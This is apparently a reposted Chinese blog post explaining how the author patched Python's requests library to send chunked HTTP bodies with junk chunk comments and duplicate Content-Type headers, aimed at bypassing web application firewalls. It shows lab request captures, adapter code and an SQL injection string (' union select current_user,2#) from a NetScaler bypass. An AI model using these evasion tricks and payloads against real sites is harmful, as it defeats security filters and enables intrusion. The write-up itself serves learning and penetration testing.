前言 最近有WAF bypass的需求，学习了下分块传输的方法，网上也有burp插件，需要使用python实现一下，在使用requests实现时遇到了一些坑，记录下。
requests块编码请求 https://docs.python-requests....
请求参数data提供一个生成器即可
首次引入分块传输：
【requests实现带注释的分块传输】https://github.com/psf/reques...
使用burp代理分块传输不生效 为了可以准确的看到代码是否生效，我给requests配上了burp代理，但是在看burp捕获的报文中发现分块传输并未生效
结论
并不是使用了burp代理后requests分块传输不生效，而是分块传输发生在Client与代理Server之间，burp请求转发并没有使用分块传输，所以在burp上的抓包情况看没有使用分块传输。
抓包验证

• 本地抓包 (Client与代理Server)
  

  POST http://xxcdd.for.test.com/vulnerabilities/exec/ HTTP/1.1 Host: xxcdd.for.test.com Connection: close Accept-Encoding: gzip, deflate Accept: */* User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; The World) Accept-Language: zh-cn,en-us; q=0.7,en; q=0.3 Content-Type: application/x-www-form-urlencoded Cookie: security=low; PHPSESSID=f49c32abdce4380305503cde9e522e67 Transfer-Encoding: chunked2 ip 3 =12 1 7 3 .0. 3 0.1 1 & 1 S 2 ub 3 mit 3 =Su 2 bm 2 it 0HTTP/1.1 200 OK Date: Sat, 08 May 2021 08:31:10 GMT Server: Apache/2.4.39 (Unix) OpenSSL/1.0.2s PHP/7.3.7 mod_perl/2.0.8-dev Perl/v5.16.3 X-Powered-By: PHP/7.3.7 Expires: Tue, 23 Jun 2009 12:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache Content-Length: 4489 Connection: close Content-Type: text/html; charset=utf-8

  
  
• burp请求转发
  

  POST /vulnerabilities/exec/ HTTP/1.1 Host: xxcdd.for.test.com Connection: close Accept-Encoding: gzip, deflate Accept: */* User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; The World) Accept-Language: zh-cn,en-us; q=0.7,en; q=0.3 Content-Type: application/x-www-form-urlencoded Cookie: security=low; PHPSESSID=f49c32abdce4380305503cde9e522e67 Content-Length: 26ip=127.0.0.1&Submit=SubmitHTTP/1.1 200 OK Date: Sat, 08 May 2021 08:34:44 GMT Server: Apache/2.4.39 (Unix) OpenSSL/1.0.2s PHP/7.3.7 mod_perl/2.0.8-dev Perl/v5.16.3 X-Powered-By: PHP/7.3.7 Expires: Tue, 23 Jun 2009 12:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache Content-Length: 4489 Connection: close Content-Type: text/html; charset=utf-8

  
  

Debug requests的分块传输过程 确定断点
requests源代码全局搜索chunked，确定断点

requests/models.pyPreparedRequest.prepare_body requests/sessions.pySession.get_adapter requests/adapters.pyHTTPAdapter.send

逐个分析
requests/models.py PreparedRequest.prepare_body 该方法中自动在请求头中增加 Transfer-Encoding: chunked，有两个条件：

1. is_stream=True

is_stream = all([ hasattr(data, '__iter__'), not isinstance(data, (basestring, list, tuple, Mapping)) ])

问题：not isinstance(data, (basestring, list, tuple, Mapping))是何意

2. 请求体有长度

def prepare_body(self, data, files, json=None): ... is_stream = all([ hasattr(data, '__iter__'), not isinstance(data, (basestring, list, tuple, Mapping)) ]) try: length = super_len(data) except (TypeError, AttributeError, UnsupportedOperation): length = None if is_stream: ... if length: self.headers['Content-Length'] = builtin_str(length) else: self.headers['Transfer-Encoding'] = 'chunked' else: ...

requests/sessions.py Session.get_adapter

def get_adapter(self, url): """ Returns the appropriate connection adapter for the given URL.:rtype: requests.adapters.BaseAdapter """ for (prefix, adapter) in self.adapters.items():if url.lower().startswith(prefix.lower()): return adapter# Nothing matches :-/ raise InvalidSchema("No connection adapters were found for '%s'" % url)

获取处理URL的adapter，adapter在Session类的域adapters中

Session生成器中： # Default connection adapters. self.adapters = OrderedDict() self.mount('https://', HTTPAdapter()) self.mount('http://', HTTPAdapter())打印出相关： >>> print self.adapters OrderedDict([('https://', ), ('http://', )])

获取到了adapter，则调用其send方法，来到下一个断点
requests/adapters.py HTTPAdapter.send 发送 PreparedRequest object. 返回 Response object

chunked = not (request.body is None or 'Content-Length' in request.headers)if not chunked: 正常发包 else: 分块传输 建立TCP连接 发送请求头 发送分块传输的请求体 for i in request.body: low_conn.send(hex(len(i))[2:].encode('utf-8')) low_conn.send(b'\r\n') low_conn.send(i) low_conn.send(b'\r\n') low_conn.send(b'0\r\n\r\n') 接收响应内容

找到了发送分块传输的请求体的代码后，我们就可以开始魔改了
魔改 requests符合自己的需求 需求
可以发送带注释的分块传输
原始的分块传输是：

POST http://xxcdd.for.test.com/vulnerabilities/exec/ HTTP/1.1 Host: xxcdd.for.test.com Connection: close Accept-Encoding: gzip, deflate Accept: */* User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; The World) Accept-Language: zh-cn,en-us; q=0.7,en; q=0.3 Content-Type: application/x-www-form-urlencoded Cookie: security=low; PHPSESSID=f49c32abdce4380305503cde9e522e67 Transfer-Encoding: chunked2 ip 3 =12 1 7 3 .0. 3 0.1 1 & 1 S 2 ub 3 mit 3 =Su 2 bm 2 it 0

绕WAF期望的分块传输是：

POST /vulnerabilities/exec/ HTTP/1.1 Host: xxcdd.for.test.com Connection: close Accept-Encoding: gzip, deflate Accept: */* User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; The World) Accept-Language: zh-cn,en-us; q=0.7,en; q=0.3 Content-Type: application/x-www-form-urlencoded Cookie: security=low; PHPSESSID=f49c32abdce4380305503cde9e522e67 Content-Length: 269 Transfer-Encoding: chunked3; 9HMbo4HFtRCJQwAJW57tz0 ip= 3; 70ixfv 127 2; ouCHr3 .0 2; ZXjKnAt0 .0 2; FcpKzNTK .1 2; JWf1je &S 2; aiV0XrBKQFLb ub 2; S61NU mi 1; MHr680eEyUqR6 t 1; OWOo9 = 1; AxsgGW9aizzJd5IRtJHGuRHPH S 1; xb9ktTyWrAbhV2OkE u 3; mtBp1OEKySwUhyyh bmi 1; 0CzTD t 0

重写相关代码
在requests/sessions.py Session.get_adapter中我们看到默认的adapter是HTTPAdapter，要想达到期望，就要对发送分块传输的请求体的部分进行重写

class ChunkedHTTPAdapter(HTTPAdapter): def send(self, request, stream=False, timeout=None, verify=True, cert=None, proxies=None): ... for i in request.body: #low_conn.send(hex(len(i))[2:].encode('utf-8')) #low_conn.send(b'\r\n') low_conn.send(i) #low_conn.send(b'\r\n') # low_conn.send(b'0\r\n\r\n') ...

传入的request.body为iterator，内容是构造好的带注释的分块传输内容，相当于不让requests构造分块传输请求体，我们提前构造好传入，ChunkedHTTPAdapter只管发送就好。
mount
关于adapter的mount，注释中给了示例：

Usage:: >>> import requests >>> s = requests.Session() >>> a = requests.adapters.HTTPAdapter(max_retries=3) >>> s.mount('http://', a)

结合上面的分析Session生成器中的处理最终为：

s = requests.Session() a = ChunkedHTTPAdapter(max_retries=3) s.mount('http://', a) s.mount('https://', a) response = s.post(burp0_url, cookies=burp0_cookies, headers=burp0_headers, data=https://www.it610.com/article/iter(list_chunked), verify=False)

再度魔改
将分块传输和正常的请求逻辑整合为统一的代码，以便于其他魔改

class HTTPAdapter(BaseAdapter): def send(self, request, stream=False, timeout=None, verify=True, cert=None, proxies=None): ... if hasattr(request.body, '__iter__'): # 分块传输 for i in request.body: low_conn.send(i) else: # 非分块传输 low_conn.send(request.body)

又有个需求：Citrix Netscaler NS10.5 - WAF Bypass (Via HTTP Header Pollution)
要求为：

First request: ‘ union select current_user,2# - Netscaler blocks it.Second request: The same content and an additional HTTP header which is “Content-Type: application/octet-stream”. - It bypasses the WAF but the web server misinterprets it.Third request: The same content and two additional HTTP headers which are “Content-Type: application/octet-stream” and “Content-Type: text/xml” in that order. The request is able to bypass the WAF and the web server runs it.

请求报文大概类似：

POST /test HTTP/1.1 Host: xxcdd.for.test.com Connection: close Accept-Encoding: gzip, deflate Accept: */* User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; The World) Accept-Language: zh-cn,en-us; q=0.7,en; q=0.3 Content-Type: application/octet-stream Content-Type: text/xml’ union select current_user, 2#

需要发送两个Content-Type请求头，再次魔改：

class HTTPAdapter(BaseAdapter): def send(self, request, stream=False, timeout=None, verify=True, cert=None, proxies=None): ... try: low_conn.putrequest(request.method, url, skip_accept_encoding=True) for header, value in request.headers.items(): # 这里当header == "Content-Type" 时，执行low_conn.putheader("Content-Type", "application/octet-stream") low_conn.putheader(header, value)

后记 虽然上述的需求通过socket编程发送http请求也可以满足，但是在一个渗透项目的设计中，http的处理应该尽可能做到统一输入输出，统一使用requests库去处理http请求会使得总体设计更加简洁和有序。经过这次的折腾让我对requests库的源代码更加熟悉了，相信下次再遇到奇怪的http请求需求，魔改起来更加得心应手。

推荐阅读

• 

  什么是职场？
• 

  百日练，一百天读一百本书，打卡第9天，《你只是看上去很努力》35分钟，理解50%，2000/分钟
• 

  空调主机跟遥控器显示温度不同步是怎么回事 新科柜机空调不制冷调节温度显示不同步
• 

  等闲识得东风面中的东风是什么意思 等闲识得东风面释义
• 

  redis 集合的底层实现 redis集合存bean
• 

  Java中关于Collections集合工具类的详细介绍
• 

  福州贵安水世界好玩吗 2023福州贵安水世界门票多少钱一张
• 

  蜗居背景音乐歌词蜗居背景音乐歌词翻译
• 

  甘肃所有大学名单 甘肃省大学排名
• 

  雷殿生名字打分99分 雷王姓取名
• 

  python|python 的生产者和消费者模式
• 

  quiet怎么读 quiet怎么造句
• 

  龙眼肉罐头做法 新鲜的龙眼肉怎么做罐头
• 

  海藻面膜敷多长时间好
• 

  mysql my.cnf配置模板参考
• 

  苹果扣费怎么退 iPhone扣费怎么退款
• 

  你认为孤独的根源是什么？
• 

  减肥期间,有哪些做起来简单又好吃的减肥食谱？
• 

  创维55寸4k智能电视多少钱一台 哪个电视牌子好
• 

  二甲双胍|糖尿病天天吃二甲双胍，请花5分钟弄清这6个注意事项，很重要

• 短视频|互联网陷入集体怀旧，是短视频把音乐带跑偏了吗？
• ElasticSearch笔记|#ElasticSearch笔记#利用ElasticSearch实现全文搜索（一）简单介绍及环境搭建
• Vue实现点击按钮进行上下页切换
• Vue动态数据实现|Vue动态数据实现 el-select 多级联动、数据回显方式
• Go语言实现文件上传
• C++如何实现二叉树链表
• Vue3+Canvas实现简易的贪吃蛇游戏
• Android应用隐私合规检测实现方案详解
• spring|spring websocket 和socketjs实现单聊群聊,广播的消息推送详解
• 7、实现通用分页功能三（实现通用分页JSP代码）